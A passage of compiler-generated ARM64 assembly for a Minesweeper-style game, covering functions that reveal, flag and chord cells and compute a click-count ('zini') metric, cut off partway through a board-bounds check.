.globl _reveal ; -- Begin function reveal
.p2align 2
_reveal: ; @reveal
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB14_2
b LBB14_1
LBB14_1:
b LBB14_16
LBB14_2:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB14_4
b LBB14_3
LBB14_3:
b LBB14_16
LBB14_4:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB14_6
b LBB14_5
LBB14_5:
ldur w0, [x29, #-4]
bl _open
b LBB14_16
LBB14_6:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
stur w8, [x29, #-8]
stur wzr, [x29, #-12]
b LBB14_7
LBB14_7: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-12]
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB14_15
b LBB14_8
LBB14_8: ; in Loop: Header=BB14_7 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #8]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB14_10
b LBB14_9
LBB14_9: ; in Loop: Header=BB14_7 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB14_13
b LBB14_10
LBB14_10: ; in Loop: Header=BB14_7 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB14_12
b LBB14_11
LBB14_11: ; in Loop: Header=BB14_7 Depth=1
ldur w0, [x29, #-12]
bl _open
b LBB14_12
LBB14_12: ; in Loop: Header=BB14_7 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x9, x8, x9
ldr w8, [x9, #52]
subs w8, w8, #1
str w8, [x9, #52]
b LBB14_13
LBB14_13: ; in Loop: Header=BB14_7 Depth=1
b LBB14_14
LBB14_14: ; in Loop: Header=BB14_7 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB14_7
LBB14_15:
b LBB14_16
LBB14_16:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _flag ; -- Begin function flag
.p2align 2
_flag: ; @flag
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
str w0, [sp, #28]
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #40]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB15_2
b LBB15_1
LBB15_1:
b LBB15_10
LBB15_2:
ldr x8, [sp, #8] ; 8-byte Folded Reload
adrp x11, _zini@GOTPAGE
ldr x11, [x11, _zini@GOTPAGEOFF]
ldr w10, [x11]
mov w9, #1
add w10, w10, #1
str w10, [x11]
ldr x11, [x8]
ldrsw x12, [sp, #28]
mov x10, #56
mul x12, x12, x10
add x11, x11, x12
str w9, [x11, #40]
ldr x8, [x8]
ldrsw x9, [sp, #28]
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
str w8, [sp, #24]
b LBB15_3
LBB15_3: ; =>This Loop Header: Depth=1
; Child Loop BB15_5 Depth 2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #24]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB15_10
b LBB15_4
LBB15_4: ; in Loop: Header=BB15_3 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #20]
b LBB15_5
LBB15_5: ; Parent Loop BB15_3 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #20]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB15_8
b LBB15_6
LBB15_6: ; in Loop: Header=BB15_5 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x10, [x8]
ldr w8, [sp, #20]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldr w9, [sp, #24]
add w8, w8, w9
mov w9, #56
smaddl x9, w8, w9, x10
ldr w8, [x9, #52]
add w8, w8, #1
str w8, [x9, #52]
b LBB15_7
LBB15_7: ; in Loop: Header=BB15_5 Depth=2
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB15_5
LBB15_8: ; in Loop: Header=BB15_3 Depth=1
b LBB15_9
LBB15_9: ; in Loop: Header=BB15_3 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB15_3
LBB15_10:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _chord ; -- Begin function chord
.p2align 2
_chord: ; @chord
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
adrp x10, _zini@GOTPAGE
ldr x10, [x10, _zini@GOTPAGEOFF]
ldr w9, [x10]
add w9, w9, #1
str w9, [x10]
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
stur w8, [x29, #-8]
b LBB16_1
LBB16_1: ; =>This Loop Header: Depth=1
; Child Loop BB16_3 Depth 2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldr x9, [x9]
ldursw x10, [x29, #-4]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB16_8
b LBB16_2
LBB16_2: ; in Loop: Header=BB16_1 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
stur w8, [x29, #-12]
b LBB16_3
LBB16_3: ; Parent Loop BB16_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x9, [x9]
ldursw x10, [x29, #-4]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB16_6
b LBB16_4
LBB16_4: ; in Loop: Header=BB16_3 Depth=2
ldur w8, [x29, #-12]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
mul w8, w8, w9
ldur w9, [x29, #-8]
add w0, w8, w9
bl _reveal
b LBB16_5
LBB16_5: ; in Loop: Header=BB16_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB16_3
LBB16_6: ; in Loop: Header=BB16_1 Depth=1
b LBB16_7
LBB16_7: ; in Loop: Header=BB16_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB16_1
LBB16_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _click ; -- Begin function click
.p2align 2
_click: ; @click
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w0, [x29, #-4]
bl _reveal
adrp x9, _zini@GOTPAGE
ldr x9, [x9, _zini@GOTPAGEOFF]
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _hit_openings ; -- Begin function hit_openings
.p2align 2
_hit_openings: ; @hit_openings
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB18_1
LBB18_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB18_7
b LBB18_2
LBB18_2: ; in Loop: Header=BB18_1 Depth=1
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB18_5
b LBB18_3
LBB18_3: ; in Loop: Header=BB18_1 Depth=1
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB18_5
b LBB18_4
LBB18_4: ; in Loop: Header=BB18_1 Depth=1
ldur w0, [x29, #-4]
bl _click
b LBB18_5
LBB18_5: ; in Loop: Header=BB18_1 Depth=1
b LBB18_6
LBB18_6: ; in Loop: Header=BB18_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB18_1
LBB18_7:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _flagaround ; -- Begin function flagaround
.p2align 2
_flagaround: ; @flagaround
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
stur w0, [x29, #-4]
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
stur w8, [x29, #-8]
b LBB19_1
LBB19_1: ; =>This Loop Header: Depth=1
; Child Loop BB19_3 Depth 2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldr x9, [x9]
ldursw x10, [x29, #-4]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB19_10
b LBB19_2
LBB19_2: ; in Loop: Header=BB19_1 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
stur w8, [x29, #-12]
b LBB19_3
LBB19_3: ; Parent Loop BB19_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x9, [x9]
ldursw x10, [x29, #-4]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB19_8
b LBB19_4
LBB19_4: ; in Loop: Header=BB19_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldur w9, [x29, #-12]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldur w10, [x29, #-8]
add w9, w9, w10
str w9, [sp, #16]
ldr x8, [x8]
ldrsw x9, [sp, #16]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB19_6
b LBB19_5
LBB19_5: ; in Loop: Header=BB19_3 Depth=2
ldr w0, [sp, #16]
bl _flag
b LBB19_6
LBB19_6: ; in Loop: Header=BB19_3 Depth=2
b LBB19_7
LBB19_7: ; in Loop: Header=BB19_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB19_3
LBB19_8: ; in Loop: Header=BB19_1 Depth=1
b LBB19_9
LBB19_9: ; in Loop: Header=BB19_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB19_1
LBB19_10:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _calc_zini ; -- Begin function calc_zini
.p2align 2
_calc_zini: ; @calc_zini
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _zini@GOTPAGE
ldr x8, [x8, _zini@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
str x9, [sp, #24] ; 8-byte Folded Spill
adrp x9, _board@GOTPAGE
ldr x9, [x9, _board@GOTPAGEOFF]
str x9, [sp, #32] ; 8-byte Folded Spill
str wzr, [x8]
bl _restartboard
b LBB20_1
LBB20_1: ; =>This Loop Header: Depth=1
; Child Loop BB20_3 Depth 2
; Child Loop BB20_14 Depth 2
adrp x8, _closed_cells@GOTPAGE
ldr x8, [x8, _closed_cells@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _m@GOTPAGE
ldr x9, [x9, _m@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB20_24
b LBB20_2
LBB20_2: ; in Loop: Header=BB20_1 Depth=1
mov w8, #-1
stur w8, [x29, #-8]
stur w8, [x29, #-12]
stur wzr, [x29, #-4]
b LBB20_3
LBB20_3: ; Parent Loop BB20_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB20_9
b LBB20_4
LBB20_4: ; in Loop: Header=BB20_3 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #52]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB20_7
b LBB20_5
LBB20_5: ; in Loop: Header=BB20_3 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_7
b LBB20_6
LBB20_6: ; in Loop: Header=BB20_3 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #52]
stur w8, [x29, #-8]
ldur w8, [x29, #-4]
stur w8, [x29, #-12]
b LBB20_7
LBB20_7: ; in Loop: Header=BB20_3 Depth=2
b LBB20_8
LBB20_8: ; in Loop: Header=BB20_3 Depth=2
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB20_3
LBB20_9: ; in Loop: Header=BB20_1 Depth=1
ldur w8, [x29, #-12]
adds w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB20_13
b LBB20_10
LBB20_10: ; in Loop: Header=BB20_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-12]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_12
b LBB20_11
LBB20_11: ; in Loop: Header=BB20_1 Depth=1
ldur w0, [x29, #-12]
bl _click
b LBB20_12
LBB20_12: ; in Loop: Header=BB20_1 Depth=1
ldur w0, [x29, #-12]
bl _flagaround
ldur w0, [x29, #-12]
bl _chord
b LBB20_23
LBB20_13: ; in Loop: Header=BB20_1 Depth=1
stur wzr, [x29, #-4]
b LBB20_14
LBB20_14: ; Parent Loop BB20_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB20_22
b LBB20_15
LBB20_15: ; in Loop: Header=BB20_14 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_20
b LBB20_16
LBB20_16: ; in Loop: Header=BB20_14 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_20
b LBB20_17
LBB20_17: ; in Loop: Header=BB20_14 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB20_19
b LBB20_18
LBB20_18: ; in Loop: Header=BB20_14 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_20
b LBB20_19
LBB20_19: ; in Loop: Header=BB20_1 Depth=1
ldur w8, [x29, #-4]
stur w8, [x29, #-12]
b LBB20_22
LBB20_20: ; in Loop: Header=BB20_14 Depth=2
b LBB20_21
LBB20_21: ; in Loop: Header=BB20_14 Depth=2
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB20_14
LBB20_22: ; in Loop: Header=BB20_1 Depth=1
ldur w0, [x29, #-12]
bl _click
b LBB20_23
LBB20_23: ; in Loop: Header=BB20_1 Depth=1
b LBB20_1
LBB20_24:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x8]
adrp x9, _gzini@GOTPAGE
ldr x9, [x9, _gzini@GOTPAGEOFF]
str w8, [x9]
stur wzr, [x29, #-4]
b LBB20_25
LBB20_25: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB20_28
b LBB20_26
LBB20_26: ; in Loop: Header=BB20_25 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
str x10, [sp, #8] ; 8-byte Folded Spill
mul x9, x9, x10
add x8, x8, x9
ldr w9, [x8, #16]
mov w8, #0
subs w8, w8, w9
subs w8, w8, #2
str w8, [sp, #4] ; 4-byte Folded Spill
ldur w0, [x29, #-4]
bl _getadj3bv
ldr w8, [sp, #4] ; 4-byte Folded Reload
ldr x9, [sp, #32] ; 8-byte Folded Reload
ldr x11, [sp, #8] ; 8-byte Folded Reload
add w8, w8, w0
ldr x9, [x9]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #52]
b LBB20_27
LBB20_27: ; in Loop: Header=BB20_25 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB20_25
LBB20_28:
ldr x8, [sp, #16] ; 8-byte Folded Reload
str wzr, [x8]
bl _restartboard
bl _hit_openings
b LBB20_29
LBB20_29: ; =>This Loop Header: Depth=1
; Child Loop BB20_31 Depth 2
; Child Loop BB20_43 Depth 2
adrp x8, _closed_cells@GOTPAGE
ldr x8, [x8, _closed_cells@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _m@GOTPAGE
ldr x9, [x9, _m@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB20_53
b LBB20_30
LBB20_30: ; in Loop: Header=BB20_29 Depth=1
mov w8, #-1
stur w8, [x29, #-16]
stur w8, [x29, #-20]
stur wzr, [x29, #-4]
b LBB20_31
LBB20_31: ; Parent Loop BB20_29 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB20_38
b LBB20_32
LBB20_32: ; in Loop: Header=BB20_31 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #52]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB20_36
b LBB20_33
LBB20_33: ; in Loop: Header=BB20_31 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_36
b LBB20_34
LBB20_34: ; in Loop: Header=BB20_31 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB20_36
b LBB20_35
LBB20_35: ; in Loop: Header=BB20_31 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #52]
stur w8, [x29, #-16]
ldur w8, [x29, #-4]
stur w8, [x29, #-20]
b LBB20_36
LBB20_36: ; in Loop: Header=BB20_31 Depth=2
b LBB20_37
LBB20_37: ; in Loop: Header=BB20_31 Depth=2
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB20_31
LBB20_38: ; in Loop: Header=BB20_29 Depth=1
ldur w8, [x29, #-20]
adds w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB20_42
b LBB20_39
LBB20_39: ; in Loop: Header=BB20_29 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-20]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_41
b LBB20_40
LBB20_40: ; in Loop: Header=BB20_29 Depth=1
ldur w0, [x29, #-20]
bl _click
b LBB20_41
LBB20_41: ; in Loop: Header=BB20_29 Depth=1
ldur w0, [x29, #-20]
bl _flagaround
ldur w0, [x29, #-20]
bl _chord
b LBB20_52
LBB20_42: ; in Loop: Header=BB20_29 Depth=1
stur wzr, [x29, #-4]
b LBB20_43
LBB20_43: ; Parent Loop BB20_29 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB20_51
b LBB20_44
LBB20_44: ; in Loop: Header=BB20_43 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_49
b LBB20_45
LBB20_45: ; in Loop: Header=BB20_43 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
ldr w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_49
b LBB20_46
LBB20_46: ; in Loop: Header=BB20_43 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #16]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB20_48
b LBB20_47
LBB20_47: ; in Loop: Header=BB20_43 Depth=2
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldr x8, [x8]
ldursw x9, [x29, #-4]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_49
b LBB20_48
LBB20_48: ; in Loop: Header=BB20_29 Depth=1
ldur w8, [x29, #-4]
stur w8, [x29, #-20]
b LBB20_51
LBB20_49: ; in Loop: Header=BB20_43 Depth=2
b LBB20_50
LBB20_50: ; in Loop: Header=BB20_43 Depth=2
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB20_43
LBB20_51: ; in Loop: Header=BB20_29 Depth=1
ldur w0, [x29, #-20]
bl _click
b LBB20_52
LBB20_52: ; in Loop: Header=BB20_29 Depth=1
b LBB20_29
LBB20_53:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x8]
adrp x9, _hzini@GOTPAGE
ldr x9, [x9, _hzini@GOTPAGEOFF]
str w8, [x9]
bl _restartboard
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _is_inside_board ; -- Begin function is_inside_board
.p2align 2
_is_inside_board: ; @is_inside_board
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
str w1, [sp, #8]
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, lt
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB21_4
b LBB21_1
LBB21_1:
ldr w8, [sp, #12]
adrp x9, _w@GOTPAGE
ldr x9, [x9, _w@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB21_4
b LBB21_2
LBB21_2:
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, lt
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB21_4
b LBB21_3
LBB21_3:
ldr w8, [sp, #8]
adrp x9, _h@GOTPAGE
ldr x9, [x9, _h@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB21_4
LBB21_4:
